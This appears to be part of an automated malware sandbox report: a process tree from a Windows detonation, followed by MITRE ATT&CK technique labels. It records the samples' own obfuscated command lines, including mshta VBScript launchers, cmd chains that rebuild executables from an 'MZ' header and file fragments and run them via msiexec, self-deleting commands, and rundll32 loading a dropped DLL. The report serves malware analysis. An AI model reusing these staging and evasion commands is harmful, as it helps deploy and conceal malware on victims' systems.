        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        8⤵
        
        PID:7064
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
        9⤵
        
        PID:6964
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )
        8⤵
        
        PID:8768
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC
        9⤵
        
        PID:9080
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHo "
        10⤵
        
        PID:4556
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
        10⤵
        
        PID:5344
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec -Y ..\lXQ2g.WC
        10⤵
        
        PID:6292
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -iM "search_hyperfs_206.exe"
        7⤵
        Kills process with taskkill
        
        PID:7312
  - - C:\Users\Admin\AppData\Local\Temp\setup_2.exe
      "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
      4⤵
      Executes dropped EXE
      PID:5044
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5044 -s 656
        5⤵
        Program crash
        
        PID:5640
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5044 -s 668
        5⤵
        Program crash
        
        PID:5976
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5044 -s 676
        5⤵
        Program crash
        
        PID:3640
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5044 -s 688
        5⤵
        Program crash
        
        PID:6104
  - - C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe
      "C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2332
    - - C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        5⤵
        
        PID:4192
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"
        6⤵
        
        PID:5676
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1c0,0x1bc,0x1b8,0x1c4,0x1b4,0x7ffbfd07dec0,0x7ffbfd07ded0,0x7ffbfd07dee0
        7⤵
        
        PID:4860
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --mojo-platform-channel-handle=1784 /prefetch:8
        7⤵
        
        PID:9284
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --mojo-platform-channel-handle=2188 /prefetch:8
        7⤵
        
        PID:9300
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1736 /prefetch:2
        7⤵
        
        PID:9276
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2524 /prefetch:1
        7⤵
        
        PID:9384
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2496 /prefetch:1
        7⤵
        
        PID:9372
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --mojo-platform-channel-handle=3208 /prefetch:8
        7⤵
        
        PID:9792
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3264 /prefetch:2
        7⤵
        
        PID:1572
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --mojo-platform-channel-handle=3440 /prefetch:8
        7⤵
        
        PID:5976
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --mojo-platform-channel-handle=3656 /prefetch:8
        7⤵
        
        PID:9836
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --mojo-platform-channel-handle=2700 /prefetch:8
        7⤵
        
        PID:4492
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --mojo-platform-channel-handle=3788 /prefetch:8
        7⤵
        
        PID:9904
  - - C:\Users\Admin\AppData\Local\Temp\chrome1.exe
      "C:\Users\Admin\AppData\Local\Temp\chrome1.exe"
      4⤵
      PID:4908
  - - C:\Users\Admin\AppData\Local\Temp\chrome2.exe
      "C:\Users\Admin\AppData\Local\Temp\chrome2.exe"
      4⤵
      Executes dropped EXE
      PID:5372
  - - C:\Users\Admin\AppData\Local\Temp\chrome update.exe
      "C:\Users\Admin\AppData\Local\Temp\chrome update.exe"
      4⤵
      Executes dropped EXE
      PID:5244
- - C:\Users\Admin\Pictures\Adobe Films\scfT65Yi8gy0dT5r5wdXmZND.exe
    "C:\Users\Admin\Pictures\Adobe Films\scfT65Yi8gy0dT5r5wdXmZND.exe"
    3⤵
    - Executes dropped EXE
    PID:3684
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\scfT65Yi8gy0dT5r5wdXmZND.exe" & exit
      4⤵
      PID:7756
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        5⤵
        Delays execution with timeout.exe
        
        PID:3804
- - C:\Users\Admin\Pictures\Adobe Films\IuYBm3lYwBFvWH4EQPU9_Ywq.exe
    "C:\Users\Admin\Pictures\Adobe Films\IuYBm3lYwBFvWH4EQPU9_Ywq.exe"
    3⤵
    - Executes dropped EXE
    PID:2496
  - - C:\Users\Admin\Pictures\Adobe Films\IuYBm3lYwBFvWH4EQPU9_Ywq.exe
      "C:\Users\Admin\Pictures\Adobe Films\IuYBm3lYwBFvWH4EQPU9_Ywq.exe"
      4⤵
      PID:5356
- - C:\Users\Admin\Pictures\Adobe Films\ydWz5wGfm19stkAY4iMIn9Xd.exe
    "C:\Users\Admin\Pictures\Adobe Films\ydWz5wGfm19stkAY4iMIn9Xd.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2068
- - C:\Users\Admin\Pictures\Adobe Films\_Jl5NRQH_VCxgKevGBMlhDUr.exe
    "C:\Users\Admin\Pictures\Adobe Films\_Jl5NRQH_VCxgKevGBMlhDUr.exe"
    3⤵
    - Executes dropped EXE
    PID:2064
- - C:\Users\Admin\Pictures\Adobe Films\fIluvx59br0pDNhWxyCvlECC.exe
    "C:\Users\Admin\Pictures\Adobe Films\fIluvx59br0pDNhWxyCvlECC.exe"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:3688
- - C:\Users\Admin\Pictures\Adobe Films\64sJSaHtBgpmY3s9JraLL3AH.exe
    "C:\Users\Admin\Pictures\Adobe Films\64sJSaHtBgpmY3s9JraLL3AH.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:1988
  - - C:\Users\Admin\Pictures\Adobe Films\64sJSaHtBgpmY3s9JraLL3AH.exe
      "C:\Users\Admin\Pictures\Adobe Films\64sJSaHtBgpmY3s9JraLL3AH.exe"
      4⤵
      Executes dropped EXE
      PID:4928
- - C:\Users\Admin\Pictures\Adobe Films\rJhMZvnFmewWMgIePRFsY_sA.exe
    "C:\Users\Admin\Pictures\Adobe Films\rJhMZvnFmewWMgIePRFsY_sA.exe"
    3⤵
    - Executes dropped EXE
    PID:1012
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\rJhMZvnFmewWMgIePRFsY_sA.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\rJhMZvnFmewWMgIePRFsY_sA.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
      4⤵
      PID:4824
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\rJhMZvnFmewWMgIePRFsY_sA.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\rJhMZvnFmewWMgIePRFsY_sA.exe" ) do taskkill -im "%~NxK" -F
        5⤵
        
        PID:5212
      - C:\Users\Admin\AppData\Local\Temp\8pWB.eXE
        
        8pWB.eXe /pO_wtib1KE0hzl7U9_CYP
        6⤵
        Executes dropped EXE
        
        PID:4100
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
        7⤵
        
        PID:4536
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F
        8⤵
        
        PID:6752
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ("WSCRIPt.SheLl" ). rUn ("C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl + _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " ,0 , TruE ) )
        7⤵
        
        PID:8740
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl+ _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY
        8⤵
        
        PID:8960
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHO "
        9⤵
        
        PID:6676
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"
        9⤵
        
        PID:8828
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec.exe -y .\N3V4H8H.SXY
        9⤵
        
        PID:7996
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -im "rJhMZvnFmewWMgIePRFsY_sA.exe" -F
        6⤵
        Kills process with taskkill
        
        PID:6720
- - C:\Users\Admin\Pictures\Adobe Films\U8hSQeS66LgtVXmVBPhymyYt.exe
    "C:\Users\Admin\Pictures\Adobe Films\U8hSQeS66LgtVXmVBPhymyYt.exe"
    3⤵
    - Executes dropped EXE
    PID:2088
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2088 -s 1164
      4⤵
      Program crash
      PID:5816
- - C:\Users\Admin\Pictures\Adobe Films\7nRws0NZGWjLcr1qIJ1Igckp.exe
    "C:\Users\Admin\Pictures\Adobe Films\7nRws0NZGWjLcr1qIJ1Igckp.exe"
    3⤵
    - Executes dropped EXE
    PID:2232
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\7nRws0NZGWjLcr1qIJ1Igckp.exe" & exit
      4⤵
      PID:6548
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        5⤵
        Delays execution with timeout.exe
        
        PID:7452
- - C:\Users\Admin\Pictures\Adobe Films\zpFE8L30S3ZheXNi_5l2ALWi.exe
    "C:\Users\Admin\Pictures\Adobe Films\zpFE8L30S3ZheXNi_5l2ALWi.exe"
    3⤵
    - Executes dropped EXE
    PID:1296
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1296 -s 892
      4⤵
      Suspicious use of NtCreateProcessExOtherParentProcess
      Program crash
      Suspicious use of AdjustPrivilegeToken
      PID:3912
- - C:\Users\Admin\Pictures\Adobe Films\QRv0Xx09eP0r7lpAjuMx11pq.exe
    "C:\Users\Admin\Pictures\Adobe Films\QRv0Xx09eP0r7lpAjuMx11pq.exe"
    3⤵
    - Executes dropped EXE
    PID:3596
  - - C:\Users\Admin\AppData\Roaming\Underdress.exe
      C:\Users\Admin\AppData\Roaming\Underdress.exe
      4⤵
      PID:4100
    - - C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"
        5⤵
        Executes dropped EXE
        
        PID:4744
  - - C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
      C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
      4⤵
      Executes dropped EXE
      Checks BIOS information in registry
      Checks whether UAC is enabled
      Suspicious use of SetThreadContext
      PID:3080
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        5⤵
        
        PID:4484
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3080 -s 556
        5⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Program crash
        
        PID:2348
- - C:\Users\Admin\Pictures\Adobe Films\mI2vdU7xMU71GNyMSHNLycKr.exe
    "C:\Users\Admin\Pictures\Adobe Films\mI2vdU7xMU71GNyMSHNLycKr.exe"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:3556
- - C:\Users\Admin\Pictures\Adobe Films\A3Rw_r8xR62BWeGihBmsdcHY.exe
    "C:\Users\Admin\Pictures\Adobe Films\A3Rw_r8xR62BWeGihBmsdcHY.exe"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:3744
- - C:\Users\Admin\Pictures\Adobe Films\3W_ChRgsBOU9yBhDHPqm8yDD.exe
    "C:\Users\Admin\Pictures\Adobe Films\3W_ChRgsBOU9yBhDHPqm8yDD.exe"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:912
- - C:\Users\Admin\Pictures\Adobe Films\RbCJ73zVujImtMJHqjLMBZ0z.exe
    "C:\Users\Admin\Pictures\Adobe Films\RbCJ73zVujImtMJHqjLMBZ0z.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:5068
- C:\Windows\SysWOW64\cscript.exe
  "C:\Windows\SysWOW64\cscript.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4268
- - C:\Windows\SysWOW64\cmd.exe
    /c del "C:\Users\Admin\Pictures\Adobe Films\mbSorhGxB1pNBjghFG36e2Ru.exe"
    3⤵
    PID:4616
- C:\Users\Admin\AppData\Local\Temp\2291.exe
  C:\Users\Admin\AppData\Local\Temp\2291.exe
  2⤵
  PID:9424
- - C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe
    "C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"
    3⤵
    PID:10060
- C:\Users\Admin\AppData\Local\Temp\A425.exe
  C:\Users\Admin\AppData\Local\Temp\A425.exe
  2⤵
  PID:7912

C:\Users\Admin\AppData\Local\Temp\is-7INLQ.tmp\setup.tmp
"C:\Users\Admin\AppData\Local\Temp\is-7INLQ.tmp\setup.tmp" /SL5="$7006C,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"
1⤵
PID:4624
- C:\Users\Admin\AppData\Local\Temp\setup.exe
  "C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
  2⤵
  PID:6112
- - C:\Users\Admin\AppData\Local\Temp\is-B3219.tmp\setup.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-B3219.tmp\setup.tmp" /SL5="$3023A,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
    3⤵
    PID:668
  - - C:\Users\Admin\AppData\Local\Temp\is-VS4MN.tmp\postback.exe
      "C:\Users\Admin\AppData\Local\Temp\is-VS4MN.tmp\postback.exe" ss1
      4⤵
      PID:2096
  - - C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe
      "C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe" /q /norestart
      4⤵
      PID:5140
    - - C:\79be67d71d75c862052a\Setup.exe
        
        C:\79be67d71d75c862052a\\Setup.exe /q /norestart /x86 /x64 /web
        5⤵
        
        PID:6380
  - - C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe
      "C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe" ss1
      4⤵
      PID:1608

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:9208
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:8952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:4536

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:9820
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:9908

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:6176
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 9F672BB2AD882941A49D0DA8334E06B9 C
  2⤵
  PID:9280

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:9980

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:9768

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:9360

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8412

C:\Windows\system32\WerFault.exe
"C:\Windows\system32\WerFault.exe" -k -lc PoW32kWatchdog PoW32kWatchdog-20211108-1628.dm
1⤵
PID:9128

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:10144
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:10080

C:\Users\Admin\AppData\Roaming\whhjjet
C:\Users\Admin\AppData\Roaming\whhjjet
1⤵
PID:5976

\??\c:\windows\system\svchost.exe
c:\windows\system\svchost.exe
1⤵
PID:9368

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery